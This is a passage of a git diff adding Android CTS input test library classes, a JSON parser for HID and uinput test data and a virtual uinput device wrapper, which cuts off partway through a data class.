+    public List<Integer> amplitudes;
+
+    // Index of left FF effect in hid output.
+    public int leftFfIndex;
+
+    // Index of right FF effect in hid output.
+    public int rightFfIndex;
+
+    // Hid output verification check, index and expected data.
+    public ArrayMap<Integer, Integer> verifyMap;
+}
diff --git a/libs/input/src/com/android/cts/input/InputJsonParser.java b/libs/input/src/com/android/cts/input/InputJsonParser.java
new file mode 100644
index 0000000..35a5df0
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/InputJsonParser.java
@@ -0,0 +1,743 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.hardware.lights.Light;
+import android.util.ArrayMap;
+import android.util.SparseArray;
+import android.view.InputDevice;
+import android.view.InputEvent;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+
+/**
+ * Parse json resource file that contains the test commands for HidDevice
+ *
+ * For files containing reports and input events, each entry should be in the following format:
+ * <code>
+ * {"name": "test case name",
+ *  "reports": reports,
+ *  "events": input_events
+ * }
+ * </code>
+ *
+ * {@code reports} - an array of strings that contain hex arrays.
+ * {@code input_events} - an array of dicts in the following format:
+ * <code>
+ * {"action": "down|move|up", "axes": {"axis_x": x, "axis_y": y}, "keycode": "button_a"}
+ * </code>
+ * {@code "axes"} should only be defined for motion events, and {@code "keycode"} for key events.
+ * Timestamps will not be checked.
+
+ * Example:
+ * <code>
+ * [{ "name": "press button A",
+ *    "reports": ["report1",
+ *                "report2",
+ *                "report3"
+ *               ],
+ *    "events": [{"action": "down", "axes": {"axis_y": 0.5, "axis_x": 0.1}},
+ *               {"action": "move", "axes": {"axis_y": 0.0, "axis_x": 0.0}}
+ *              ]
+ *  },
+ *  ... more tests like that
+ * ]
+ * </code>
+ */
+public class InputJsonParser {
+    private static final String TAG = "InputJsonParser";
+
+    private Context mContext;
+
+    public InputJsonParser(Context context) {
+        mContext = context;
+    }
+
+    /**
+     * Convenience function to create JSONArray from resource.
+     * The resource specified should contain JSON array as the top-level structure.
+     *
+     * @param resourceId The resourceId that contains the json data (typically inside R.raw)
+     */
+    private JSONArray getJsonArrayFromResource(int resourceId) {
+        String data = readRawResource(resourceId);
+        try {
+            return new JSONArray(data);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not parse resource " + resourceId + ", received: " + data);
+        }
+    }
+
+    /**
+     * Convenience function to read in an entire file as a String.
+     *
+     * @param id resourceId of the file
+     * @return contents of the raw resource file as a String
+     */
+    private String readRawResource(int id) {
+        InputStream inputStream = mContext.getResources().openRawResource(id);
+        try {
+            return readFully(inputStream);
+        } catch (IOException e) {
+            throw new RuntimeException("Could not read resource id " + id);
+        }
+    }
+
+    /**
+     * Read register command from raw resource.
+     *
+     * @param resourceId the raw resource id that contains the command
+     * @return the command to register device that can be passed to HidDevice constructor
+     */
+    public String readRegisterCommand(int resourceId) {
+        return readRawResource(resourceId);
+    }
+
+    /**
+     * Read entire input stream until no data remains.
+     *
+     * @param inputStream
+     * @return content of the input stream
+     * @throws IOException
+     */
+    private String readFully(InputStream inputStream) throws IOException {
+        OutputStream baos = new ByteArrayOutputStream();
+        byte[] buffer = new byte[1024];
+        int read = inputStream.read(buffer);
+        while (read >= 0) {
+            baos.write(buffer, 0, read);
+            read = inputStream.read(buffer);
+        }
+        return baos.toString();
+    }
+
+    /**
+     * Extract the device id from the raw resource file. This is needed in order to register
+     * a HidDevice.
+     *
+     * @param resourceId resource file that contains the register command.
+     * @return hid device id
+     */
+    public int readDeviceId(int resourceId) {
+        try {
+            JSONObject json = new JSONObject(readRawResource(resourceId));
+            return json.getInt("id");
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not read device id from resource " + resourceId);
+        }
+    }
+
+    /**
+     * Extract the Vendor id from the raw resource file.
+     *
+     * @param resourceId resource file that contains the register command.
+     * @return device vendor id
+     */
+    public int readVendorId(int resourceId) {
+        try {
+            JSONObject json = new JSONObject(readRawResource(resourceId));
+            return json.getInt("vid");
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not read vendor id from resource " + resourceId);
+        }
+    }
+
+    /**
+     * Extract the input sources from the raw resource file.
+     *
+     * @param resourceId resource file that contains the register command.
+     * @return device sources
+     */
+    public int readSources(int resourceId) {
+        try {
+            JSONObject json = new JSONObject(readRawResource(resourceId));
+            return sourceFromString(json.optString("source"));
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not read resource from resource " + resourceId);
+        }
+    }
+
+    /**
+     * Extract the Product id from the raw resource file.
+     *
+     * @param resourceId resource file that contains the register command.
+     * @return device product id
+     */
+    public int readProductId(int resourceId) {
+        try {
+            JSONObject json = new JSONObject(readRawResource(resourceId));
+            return json.getInt("pid");
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not read prduct id from resource " + resourceId);
+        }
+    }
+
+    private List<Long> getLongList(JSONArray array) {
+        List<Long> data = new ArrayList<Long>();
+        for (int i = 0; i < array.length(); i++) {
+            try {
+                data.add(array.getLong(i));
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not read array index " + i);
+            }
+        }
+        return data;
+    }
+
+    private List<Integer> getIntList(JSONArray array) {
+        List<Integer> data = new ArrayList<Integer>();
+        for (int i = 0; i < array.length(); i++) {
+            try {
+                data.add(array.getInt(i));
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not read array index " + i);
+            }
+        }
+        return data;
+    }
+
+    private InputEvent parseInputEvent(int testCaseNumber, int source, JSONObject entry) {
+        try {
+            InputEvent event;
+            if (entry.has("keycode")) {
+                event = parseKeyEvent(source, entry);
+            } else if (entry.has("axes")) {
+                event = parseMotionEvent(source, entry);
+            } else {
+                throw new RuntimeException(
+                        "Input event is not specified correctly. Received: " + entry);
+            }
+            return event;
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not process entry " + testCaseNumber + " : " + entry);
+        }
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of HidTestData, which contains
+     * the name of each test, along with the HID reports and the expected input events.
+     */
+    public List<HidTestData> getHidTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<HidTestData> tests = new ArrayList<HidTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            HidTestData testData = new HidTestData();
+
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.name = testcaseEntry.getString("name");
+                JSONArray reports = testcaseEntry.getJSONArray("reports");
+
+                for (int i = 0; i < reports.length(); i++) {
+                    String report = reports.getString(i);
+                    testData.reports.add(report);
+                }
+
+                final int source = sourceFromString(testcaseEntry.optString("source"));
+                JSONArray events = testcaseEntry.getJSONArray("events");
+                for (int i = 0; i < events.length(); i++) {
+                    testData.events.add(parseInputEvent(i, source, events.getJSONObject(i)));
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of HidVibratorTestData, which contains
+     * the vibrator FF effect strength data index, and the hid output verification data.
+     */
+    public List<HidVibratorTestData> getHidVibratorTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<HidVibratorTestData> tests = new ArrayList<HidVibratorTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            HidVibratorTestData testData = new HidVibratorTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.leftFfIndex = testcaseEntry.getInt("leftFfIndex");
+                testData.rightFfIndex = testcaseEntry.getInt("rightFfIndex");
+
+                JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
+                JSONArray amplitudesArray = testcaseEntry.getJSONArray("amplitudes");
+                assertEquals(durationsArray.length(), amplitudesArray.length());
+                testData.durations = new ArrayList<Long>();
+                testData.amplitudes = new ArrayList<Integer>();
+                for (int i = 0; i < durationsArray.length(); i++) {
+                    testData.durations.add(durationsArray.getLong(i));
+                    testData.amplitudes.add(amplitudesArray.getInt(i));
+                }
+
+                JSONArray outputArray = testcaseEntry.getJSONArray("output");
+                testData.verifyMap = new ArrayMap<Integer, Integer>();
+                for (int i = 0; i < outputArray.length(); i++) {
+                    JSONObject item = outputArray.getJSONObject(i);
+                    int index = item.getInt("index");
+                    int data = item.getInt("data");
+                    testData.verifyMap.put(index, data);
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of HidBatteryTestData, which contains
+     * the name of each test, along with the HID reports and the expected batttery status.
+     */
+    public List<HidBatteryTestData> getHidBatteryTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<HidBatteryTestData> tests = new ArrayList<HidBatteryTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            HidBatteryTestData testData = new HidBatteryTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.name = testcaseEntry.getString("name");
+                JSONArray reports = testcaseEntry.getJSONArray("reports");
+
+                for (int i = 0; i < reports.length(); i++) {
+                    String report = reports.getString(i);
+                    testData.reports.add(report);
+                }
+
+                JSONArray capacitiesArray = testcaseEntry.getJSONArray("capacities");
+                testData.capacities = new float[capacitiesArray.length()];
+                for (int i = 0; i < capacitiesArray.length(); i++) {
+                    testData.capacities[i] = Float.valueOf(capacitiesArray.getString(i));
+                }
+                testData.status = testcaseEntry.getInt("status");
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber + " " + e);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of HidLightTestData, which contains
+     * the light type and light state request, and the hid output verification data.
+     */
+    public List<HidLightTestData> getHidLightTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<HidLightTestData> tests = new ArrayList<HidLightTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            HidLightTestData testData = new HidLightTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.lightType = lightTypeFromString(testcaseEntry.getString("lightType"));
+                testData.lightName = testcaseEntry.getString("lightName");
+                testData.lightColor = testcaseEntry.getInt("lightColor");
+                testData.lightPlayerId = testcaseEntry.getInt("lightPlayerId");
+                testData.hidEventType = uhidEventFromString(
+                        testcaseEntry.getString("hidEventType"));
+                testData.report = testcaseEntry.getString("report");
+
+                JSONArray outputArray = testcaseEntry.getJSONArray("ledsHidOutput");
+                testData.expectedHidData = new ArrayMap<Integer, Integer>();
+                for (int i = 0; i < outputArray.length(); i++) {
+                    JSONObject item = outputArray.getJSONObject(i);
+                    int index = item.getInt("index");
+                    int data = item.getInt("data");
+                    testData.expectedHidData.put(index, data);
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber + " : " + e);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of UinputVibratorTestData, which contains
+     * the vibrator FF effect of durations and amplitudes.
+     */
+    public List<UinputVibratorTestData> getUinputVibratorTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<UinputVibratorTestData> tests = new ArrayList<UinputVibratorTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            UinputVibratorTestData testData = new UinputVibratorTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
+                JSONArray amplitudesArray = testcaseEntry.getJSONArray("amplitudes");
+                assertEquals("Duration array length not equal to amplitude array length",
+                        durationsArray.length(), amplitudesArray.length());
+                testData.durations = getLongList(durationsArray);
+                testData.amplitudes = getIntList(amplitudesArray);
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of UinputVibratorManagerTestData, which
+     * contains the vibrator Ids and FF effect of durations and amplitudes.
+     */
+    public List<UinputVibratorManagerTestData> getUinputVibratorManagerTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<UinputVibratorManagerTestData> tests = new ArrayList<UinputVibratorManagerTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            UinputVibratorManagerTestData testData = new UinputVibratorManagerTestData();
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
+                testData.durations = getLongList(durationsArray);
+                testData.amplitudes = new SparseArray<>();
+                JSONObject amplitudesObj = testcaseEntry.getJSONObject("amplitudes");
+                for (int i = 0; i < amplitudesObj.names().length(); i++) {
+                    String vibratorId = amplitudesObj.names().getString(i);
+                    JSONArray amplitudesArray = amplitudesObj.getJSONArray(vibratorId);
+                    testData.amplitudes.append(Integer.valueOf(vibratorId),
+                            getIntList(amplitudesArray));
+                    assertEquals("Duration array length not equal to amplitude array length",
+                            durationsArray.length(), amplitudesArray.length());
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of UinputTestData, which contains
+     * the name of each test, along with the uinput injections and the expected input events.
+     */
+    public List<UinputTestData> getUinputTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<UinputTestData> tests = new ArrayList<UinputTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            UinputTestData testData = new UinputTestData();
+
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.name = testcaseEntry.getString("name");
+                JSONArray reports = testcaseEntry.getJSONArray("injections");
+                for (int i = 0; i < reports.length(); i++) {
+                    String injections = reports.getString(i);
+                    testData.evdevEvents.add(injections);
+                }
+
+                final int source = sourceFromString(testcaseEntry.optString("source"));
+
+                JSONArray events = testcaseEntry.getJSONArray("events");
+                for (int i = 0; i < events.length(); i++) {
+                    testData.events.add(parseInputEvent(i, source, events.getJSONObject(i)));
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    private KeyEvent parseKeyEvent(int source, JSONObject entry) throws JSONException {
+        int action = keyActionFromString(entry.getString("action"));
+        int keyCode = KeyEvent.keyCodeFromString(entry.getString("keycode"));
+        int metaState = metaStateFromString(entry.optString("metaState"));
+        // We will only check select fields of the KeyEvent. Times are not checked.
+        return new KeyEvent(/* downTime */ 0, /* eventTime */ 0, action, keyCode,
+                /* repeat */ 0, metaState, /* deviceId */ 0, /* scanCode */ 0,
+                /* flags */ 0, source);
+    }
+
+    private MotionEvent parseMotionEvent(int source, JSONObject entry) throws JSONException {
+        JSONArray pointers = entry.optJSONArray("axes");
+        int pointerCount = pointers == null ? 1 : pointers.length();
+
+        MotionEvent.PointerProperties[] properties =
+                new MotionEvent.PointerProperties[pointerCount];
+        for (int i = 0; i < pointerCount; i++) {
+            properties[i] = new MotionEvent.PointerProperties();
+            properties[i].id = i;
+            properties[i].toolType = MotionEvent.TOOL_TYPE_UNKNOWN;
+        }
+
+        MotionEvent.PointerCoords[] coords = new MotionEvent.PointerCoords[pointerCount];
+        for (int i = 0; i < pointerCount; i++) {
+            coords[i] = new MotionEvent.PointerCoords();
+        }
+
+        int action = motionActionFromString(entry);
+
+        int buttonState = 0;
+        JSONArray buttons = entry.optJSONArray("buttonState");
+        if (buttons != null) {
+            for (int i = 0; i < buttons.length(); i++) {
+                String buttonStr = buttons.getString(i);
+                buttonState |= motionButtonFromString(buttonStr);
+            }
+        }
+
+        // "axes" field should be an array if there are multiple pointers
+        for (int i = 0; i < pointerCount; i++) {
+            JSONObject axes;
+            if (pointers == null) {
+                axes = entry.getJSONObject("axes");
+            } else {
+                axes = pointers.getJSONObject(i);
+            }
+            Iterator<String> keys = axes.keys();
+            while (keys.hasNext()) {
+                String axis = keys.next();
+                float value = (float) axes.getDouble(axis);
+                coords[i].setAxisValue(MotionEvent.axisFromString(axis), value);
+            }
+        }
+
+        // Times are not checked
+        return MotionEvent.obtain(/* downTime */ 0, /* eventTime */ 0, action,
+                pointerCount, properties, coords, 0, buttonState, 0f, 0f,
+                0, 0, source, 0);
+    }
+
+    private static int keyActionFromString(String action) {
+        switch (action.toUpperCase()) {
+            case "DOWN":
+                return KeyEvent.ACTION_DOWN;
+            case "UP":
+                return KeyEvent.ACTION_UP;
+        }
+        throw new RuntimeException("Unknown action specified: " + action);
+    }
+
+    private static int metaStateFromString(String metaStateString) {
+        int metaState = 0;
+        if (metaStateString.isEmpty()) {
+            return metaState;
+        }
+        final String[] metaKeys = metaStateString.split("\\|");
+        for (final String metaKeyString : metaKeys) {
+            final String trimmedKeyString = metaKeyString.trim();
+            switch (trimmedKeyString.toUpperCase()) {
+                case "SHIFT_LEFT":
+                    metaState |= KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_LEFT_ON;
+                    break;
+                case "SHIFT_RIGHT":
+                    metaState |= KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_RIGHT_ON;
+                    break;
+                case "CTRL_LEFT":
+                    metaState |= KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_LEFT_ON;
+                    break;
+                case "CTRL_RIGHT":
+                    metaState |= KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_RIGHT_ON;
+                    break;
+                case "ALT_LEFT":
+                    metaState |= KeyEvent.META_ALT_ON | KeyEvent.META_ALT_LEFT_ON;
+                    break;
+                case "ALT_RIGHT":
+                    metaState |= KeyEvent.META_ALT_ON | KeyEvent.META_ALT_RIGHT_ON;
+                    break;
+                case "META_LEFT":
+                    metaState |= KeyEvent.META_META_ON | KeyEvent.META_META_LEFT_ON;
+                    break;
+                case "META_RIGHT":
+                    metaState |= KeyEvent.META_META_ON | KeyEvent.META_META_RIGHT_ON;
+                    break;
+                case "CAPS_LOCK":
+                    metaState |= KeyEvent.META_CAPS_LOCK_ON;
+                    break;
+                case "NUM_LOCK":
+                    metaState |= KeyEvent.META_NUM_LOCK_ON;
+                    break;
+                case "SCROLL_LOCK":
+                    metaState |= KeyEvent.META_SCROLL_LOCK_ON;
+                    break;
+                default:
+                    throw new RuntimeException("Unknown meta state chunk: " + trimmedKeyString
+                            + " in meta state string: " + metaStateString);
+            }
+        }
+        return metaState;
+    }
+
+    private static int motionActionFromString(JSONObject entry) {
+        String action;
+        int motionAction = 0;
+
+        try {
+            action = entry.getString("action").toUpperCase();
+        } catch (JSONException e) {
+            throw new RuntimeException("Action not specified. ");
+        }
+
+        switch (action) {
+            case "DOWN":
+                motionAction = MotionEvent.ACTION_DOWN;
+                break;
+            case "MOVE":
+                motionAction = MotionEvent.ACTION_MOVE;
+                break;
+            case "UP":
+                motionAction = MotionEvent.ACTION_UP;
+                break;
+            case "BUTTON_PRESS":
+                motionAction = MotionEvent.ACTION_BUTTON_PRESS;
+                break;
+            case "BUTTON_RELEASE":
+                motionAction = MotionEvent.ACTION_BUTTON_RELEASE;
+                break;
+            case "HOVER_ENTER":
+                motionAction = MotionEvent.ACTION_HOVER_ENTER;
+                break;
+            case "HOVER_MOVE":
+                motionAction = MotionEvent.ACTION_HOVER_MOVE;
+                break;
+            case "HOVER_EXIT":
+                motionAction = MotionEvent.ACTION_HOVER_EXIT;
+                break;
+            case "POINTER_DOWN":
+                motionAction = MotionEvent.ACTION_POINTER_DOWN;
+                break;
+            case "POINTER_UP":
+                motionAction = MotionEvent.ACTION_POINTER_UP;
+                break;
+            case "CANCEL":
+                motionAction = MotionEvent.ACTION_CANCEL;
+                break;
+            default:
+                throw new RuntimeException("Unknown action specified: " + action);
+        }
+        int pointerId;
+        try {
+            if (motionAction == MotionEvent.ACTION_POINTER_UP
+                    || motionAction == MotionEvent.ACTION_POINTER_DOWN) {
+                pointerId = entry.getInt("pointerId");
+            } else {
+                pointerId = entry.optInt("pointerId", 0);
+            }
+        } catch (JSONException e) {
+            throw new RuntimeException("PointerId not specified: " + action);
+        }
+        return motionAction | (pointerId << MotionEvent.ACTION_POINTER_INDEX_SHIFT);
+    }
+
+    private static int sourceFromString(String sourceString) {
+        if (sourceString.isEmpty()) {
+            return InputDevice.SOURCE_UNKNOWN;
+        }
+        int source = 0;
+        final String[] sourceEntries = sourceString.split("\\|");
+        for (final String sourceEntry : sourceEntries) {
+            final String trimmedSourceEntry = sourceEntry.trim();
+            switch (trimmedSourceEntry.toUpperCase()) {
+                case "MOUSE":
+                    source |= InputDevice.SOURCE_MOUSE;
+                    break;
+                case "MOUSE_RELATIVE":
+                    source |= InputDevice.SOURCE_MOUSE_RELATIVE;
+                    break;
+                case "JOYSTICK":
+                    source |= InputDevice.SOURCE_JOYSTICK;
+                    break;
+                case "KEYBOARD":
+                    source |= InputDevice.SOURCE_KEYBOARD;
+                    break;
+                case "GAMEPAD":
+                    source |= InputDevice.SOURCE_GAMEPAD;
+                    break;
+                case "DPAD":
+                    source |= InputDevice.SOURCE_DPAD;
+                    break;
+                case "TOUCHPAD":
+                    source |= InputDevice.SOURCE_TOUCHPAD;
+                    break;
+                case "SENSOR":
+                    source |= InputDevice.SOURCE_SENSOR;
+                    break;
+                default:
+                    throw new RuntimeException("Unknown source chunk: " + trimmedSourceEntry
+                            + " in source string: " + sourceString);
+            }
+        }
+        return source;
+    }
+
+    private static int motionButtonFromString(String button) {
+        switch (button.toUpperCase()) {
+            case "BACK":
+                return MotionEvent.BUTTON_BACK;
+            case "FORWARD":
+                return MotionEvent.BUTTON_FORWARD;
+            case "PRIMARY":
+                return MotionEvent.BUTTON_PRIMARY;
+            case "SECONDARY":
+                return MotionEvent.BUTTON_SECONDARY;
+            case "STYLUS_PRIMARY":
+                return MotionEvent.BUTTON_STYLUS_PRIMARY;
+            case "STYLUS_SECONDARY":
+                return MotionEvent.BUTTON_STYLUS_SECONDARY;
+            case "TERTIARY":
+                return MotionEvent.BUTTON_TERTIARY;
+        }
+        throw new RuntimeException("Unknown button specified: " + button);
+    }
+
+    private static int lightTypeFromString(String typeString) {
+        switch (typeString.toUpperCase()) {
+            case "INPUT_SINGLE":
+                return Light.LIGHT_TYPE_INPUT_SINGLE;
+            case "INPUT_PLAYER_ID":
+                return Light.LIGHT_TYPE_INPUT_PLAYER_ID;
+            case "INPUT_RGB":
+                return Light.LIGHT_TYPE_INPUT_RGB;
+        }
+        throw new RuntimeException("Unknown light type specified: " + typeString);
+    }
+
+    // Return the enum uhid_event_type in kernel linux/uhid.h.
+    private static byte uhidEventFromString(String eventString) {
+        switch (eventString.toUpperCase()) {
+            case "UHID_OUTPUT":
+                return 6;
+            case "UHID_GET_REPORT":
+                return 9;
+            case "UHID_SET_REPORT":
+                return 13;
+        }
+        throw new RuntimeException("Unknown uhid event type specified: " + eventString);
+    }
+}
diff --git a/libs/input/src/com/android/cts/input/UinputDevice.java b/libs/input/src/com/android/cts/input/UinputDevice.java
new file mode 100644
index 0000000..755647c
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputDevice.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.app.Instrumentation;
+import android.util.Log;
+
+import androidx.annotation.GuardedBy;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Represents a virtual UINPUT device registered through /dev/uinput.
+ */
+public final class UinputDevice extends VirtualInputDevice {
+    private static final String TAG = "UinputDevice";
+    // uinput executable expects "-" argument to read from stdin instead of a file
+    private static final String UINPUT_COMMAND = "uinput -";
+
+    @GuardedBy("mLock")
+    private List<UinputResultData> mResults = new ArrayList<UinputResultData>();
+
+    @Override
+    protected String getShellCommand() {
+        return UINPUT_COMMAND;
+    }
+
+    @Override
+    protected void readResults() {
+        try {
+            mReader.beginObject();
+            UinputResultData result = new UinputResultData();
+            while (mReader.hasNext()) {
+                String fieldName = mReader.nextName();
+                if (fieldName.equals("reason")) {
+                    result.reason = mReader.nextString();
+                }
+                if (fieldName.equals("id")) {
+                    result.deviceId = Integer.decode(mReader.nextString());
+                }
+                if (fieldName.equals("status")) {
+                    result.status = Integer.decode(mReader.nextString());
+                }
+            }
+            mReader.endObject();
+            addResult(result);
+        } catch (IOException ex) {
+            Log.w(TAG, "Exiting JSON Result reader. " + ex);
+        }
+    }
+
+    public UinputDevice(Instrumentation instrumentation, int id, int vendorId, int productId,
+            int sources, String registerCommand) {
+        super(instrumentation, id, vendorId, productId, sources, registerCommand);
+    }
+
+    /**
+     * Get uinput command return results as list of UinputResultData
+     *
+     * @return List of UinputResultData results
+     */
+    public synchronized List<UinputResultData> getResults(int deviceId, String reason)
+            throws IOException {
+        List<UinputResultData> results = new ArrayList<UinputResultData>();
+        synchronized (mLock) {
+            for (UinputResultData result : mResults) {
+                if (deviceId == result.deviceId && reason.equals(reason)) {
+                    results.add(result);
+                }
+            }
+        }
+        return results;
+    }
+
+    /**
+     * Add uinput command returned UinputResultData result
+     *
+     * @param result UinputResultData result
+     */
+    public synchronized void addResult(UinputResultData result) {
+        synchronized (mLock) {
+            if (mId == result.deviceId && mResults != null) {
+                mResults.add(result);
+            }
+        }
+    }
+
+    /**
+     * Inject array of uinput events to the device.  The events array should follow the below
+     * format:
+     *
+     * String evdevEvents = "[0x01, 0x0a, 0x01, 0x01, 0x0a, 0x00 ]"
+     * The above string represents an event array of [EV_KEY, KEY_9, DOWN,  EV_KEY, KEY_9, UP]
+     *
+     * @param evdevEvents The uinput events to be injected.  (a JSON-formatted array of hex)
+     */
+    public void injectEvents(String evdevEvents) {
+        JSONObject json = new JSONObject();
+        try {
+            json.put("command", "inject");
+            json.put("id", mId);
+            json.put("events", new JSONArray(evdevEvents));
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not inject events: " + evdevEvents);
+        }
+        writeCommands(json.toString().getBytes());
+    }
+
+}
diff --git a/libs/input/src/com/android/cts/input/UinputResultData.java b/libs/input/src/com/android/cts/input/UinputResultData.java
new file mode 100644
index 0000000..28f4ca5
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputResultData.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+/**
+ * Data class that stores UINPUT test data result returned from uinput command.
+ *
+ */
+public class UinputResultData {
+    // Reason of the test result
+    public String reason;
+
+    // Device Id
+    public int deviceId;
+
+    // Device status
+    public int status;
+}
diff --git a/libs/input/src/com/android/cts/input/UinputTestData.java b/libs/input/src/com/android/cts/input/UinputTestData.java
new file mode 100644
index 0000000..7fbd07d
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputTestData.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.view.InputEvent;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Data class that stores UINPUT test data.
+ *
+ * There need not be a 1:1 mapping from evdevEvents to events.
+ */
+public class UinputTestData {
+    // Name of the test
+    public String name;
+
+    // Uinput events to be injected to /dev/uinput
+    public List<String> evdevEvents = new ArrayList<String>();
+
+    // InputEvent's that are expected to be produced after sending out the evdevEvents.
